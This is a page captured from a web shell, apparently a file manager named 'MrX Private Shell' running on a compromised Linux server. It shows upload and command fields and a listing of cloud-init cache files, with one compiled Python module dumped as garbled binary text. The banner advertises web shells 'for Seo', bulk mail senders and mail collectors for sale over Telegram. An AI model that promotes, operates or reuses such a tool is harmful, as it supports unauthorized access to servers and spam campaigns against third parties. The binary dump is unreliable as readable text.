__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[hg��t�SSKrSSKrSSKr\R"\5r"SS5rSSS.S\S\S\4S	jjr	g)
�Nc�D�\rSrSrSrSSS.S\S\S\4SjjrS	rS
r	Sr
g)
�Timed�af
A context manager which measures and optionally logs context run time.

:param msg: A message that describes the thing that is being measured
:param threshold: Threshold, in seconds. When the context exceeds this
    threshold, a log will be made.
:param log_mode: Control whether to log. Defaults to "threshold". Possible
    values include:
    "always" - Always log 'msg', even when 'threshold' is not reached.
    "threshold" - Log when context time exceeds 'threshold'.
    "skip" - Do not log. Context time and message are stored in the
        'output' and 'delta' attributes, respectively. Used to manually
        coalesce with other logs at the call site.

usage:

    this call:
    ```
    with Timed("Configuring the network"):
        run_configure()
    ```

    might produce this log:
    ```
        Configuring the network took 0.100 seconds
    ```
�{�G�z�?�	threshold�r�log_mode�msgr	c�R�XlX lX0lSUlSUlSUlg)N�g)r
rr	�output�start�delta)�selfr
rr	s    �7/usr/lib/python3/dist-packages/cloudinit/performance.py�__init__�Timed.__init__%s(����"�� �
������
���
�c�:�[R"5UlU$)N)�time�	monotonicr)rs r�	__enter__�Timed.__enter__3s���^�^�%��
��rc���[R"5UR-
UlSURSS3nSUR:Xa"[
R
SURU5 gSUR:XagSUR:XaSURUR:�a8[
R
SURU5 URSU3Ul	gg[S	URS
35e)Nztook z.3fz seconds�alwaysz%s %s�skipr� zInvalid Timed log_mode value: 'z'.)rrrrr	�LOG�debugr
rr
�
ValueError)r�exc_type�exc_val�exc_tb�suffixs     r�__exit__�Timed.__exit__7s����^�^�%��
�
�2��
�����C�(��1���t�}�}�$��I�I�g�t�x�x��0�
�t�}�}�
$��
�D�M�M�
)��z�z�D�N�N�*��	�	�'�4�8�8�V�4�!%���
�!�F�8�4���+��1�$�-�-���C��
r)rr	r
r
rrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�str�floatrrr%�__static_attributes__�rrrrs;���@ �#��
���	�
���rrrrrr
r	c�^^^�UUU4SjnU$)a�
A decorator which measures and optionally logs context run time.

:param msg: A message that describes the thing that is being measured
:param threshold: Threshold, in seconds. When the context exceeds this
    threshold, a log will be made.
:param log_mode: Control whether to log. Defaults to "threshold". Possible
    values include:
    "always" - Always log 'msg', even when 'threshold' is not reached.
    "threshold" - Log when context time exceeds 'threshold'.

usage:

    this call:
    ```
    @timed("Configuring the network")
    def run_configure():
        ...
    ```

    might produce this log:
    ```
        Configuring the network took 0.100 seconds
    ```
c�N>^�[R"T5UUUU4Sj5nU$)Nc�`>�[TTTS9 T"U0UD6sSSS5 $!,(df   g=f)Nr)r)�args�kwargs�funcr	r
rs  ����r�	decorator�)timed.<locals>.wrapper.<locals>.decoratords)����s�i�(�C��T�,�V�,�D�C�C�s��
-)�	functools�wraps)r5r6r	r
rs` ���r�wrapper�timed.<locals>.wrappercs&���	����	�	-�
�	-��rr/)r
rr	r:s``` r�timedr<Hs���6��Nr)
r8�loggingr�	getLoggerr'rrr,r-r<r/rr�<module>r?sJ�����
����!��=�=�@+/��#�s�#�%�#�#�#r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 149 B 0644
apport.cpython-313.pyc File 9.96 KB 0644
atomic_helper.cpython-313.pyc File 4.39 KB 0644
cloud.cpython-313.pyc File 4.96 KB 0644
dmi.cpython-313.pyc File 9.85 KB 0644
event.cpython-313.pyc File 2.56 KB 0644
features.cpython-313.pyc File 1.85 KB 0644
gpg.cpython-313.pyc File 9.41 KB 0644
helpers.cpython-313.pyc File 21.72 KB 0644
importer.cpython-313.pyc File 2.82 KB 0644
lifecycle.cpython-313.pyc File 10.41 KB 0644
netinfo.cpython-313.pyc File 24.76 KB 0644
performance.cpython-313.pyc File 4.42 KB 0644
persistence.cpython-313.pyc File 3.04 KB 0644
registry.cpython-313.pyc File 1.86 KB 0644
safeyaml.cpython-313.pyc File 12.13 KB 0644
settings.cpython-313.pyc File 1.25 KB 0644
signal_handler.cpython-313.pyc File 5.39 KB 0644
simpletable.cpython-313.pyc File 3.36 KB 0644
socket.cpython-313.pyc File 7.08 KB 0644
ssh_util.cpython-313.pyc File 25.03 KB 0644
stages.cpython-313.pyc File 47.25 KB 0644
subp.cpython-313.pyc File 15.1 KB 0644
temp_utils.cpython-313.pyc File 3.96 KB 0644
templater.cpython-313.pyc File 9.34 KB 0644
type_utils.cpython-313.pyc File 755 B 0644
url_helper.cpython-313.pyc File 43.18 KB 0644
user_data.cpython-313.pyc File 13.78 KB 0644
util.cpython-313.pyc File 111.33 KB 0644
version.cpython-313.pyc File 576 B 0644
warnings.cpython-313.pyc File 4.48 KB 0644
Filemanager